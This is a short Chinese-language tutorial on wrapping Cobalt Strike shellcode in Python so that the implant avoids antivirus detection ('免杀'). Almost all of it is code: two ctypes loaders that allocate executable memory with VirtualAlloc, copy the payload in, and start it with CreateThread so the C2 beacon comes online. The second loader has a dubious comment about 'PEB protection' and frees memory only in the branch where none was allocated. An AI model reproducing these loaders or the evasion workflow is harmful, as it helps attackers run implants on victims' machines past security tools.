目录
原生态:
python免杀cobalt strike马超简单入坑教程 - FreeBuf网络安全行业门户
cs 生成 payload的---> c 或 python
生成payload时选择x64!!!!(注意什么时候用.64/86)
执行代码1:
import ctypes
#shellcode填这里
shellcode = b""
#申请内存属于64位
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
#申请一块内存空间
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
# 往内存空间里写入shellcode
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
# 创建线程
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
# 执行线程
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
--传入shellcode,执行,上线.
执行代码2:
import ctypes
shellcode = b""
# 直接获取 RtlMoveMemory 函数引用
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
# 申请内存属于64位
# 注意:restype 应该是一个指针类型,因为 VirtualAlloc 返回的是内存地址
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
# 申请一块内存空间
# 分配内存,确保它是可读、可写和可执行的
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
# PAGE_EXECUTE_READWRITE
# 检查内存是否成功分配
if rwxpage:
# 往内存空间里写入 shellcode
RtlMoveMemory(ctypes.cast(rwxpage, ctypes.POINTER(ctypes.c_char)), shellcode, len(shellcode))
# 创建线程
# 注意:CreateThread 的第三个参数应该是线程函数的地址,即 rwxpage
# 但是,由于 Windows 的 PEB 保护,直接执行 shellcode 在现代系统上通常不可行
handle = ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_void_p(rwxpage), 0, 0, None)
# 等待线程完成
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
# 释放线程句柄(可选)
ctypes.windll.kernel32.CloseHandle(handle)
# 注意:在实际环境中执行恶意 shellcode 是非法的,并且会导致严重的后果
else:
print("Failed to allocate memory.")
# 清理资源(可选,但在实际应用中很重要)
ctypes.windll.kernel32.VirtualFree(rwxpage, 0, 0x8000) # MEM_RELEASE
--传入shellcode,执行,上线...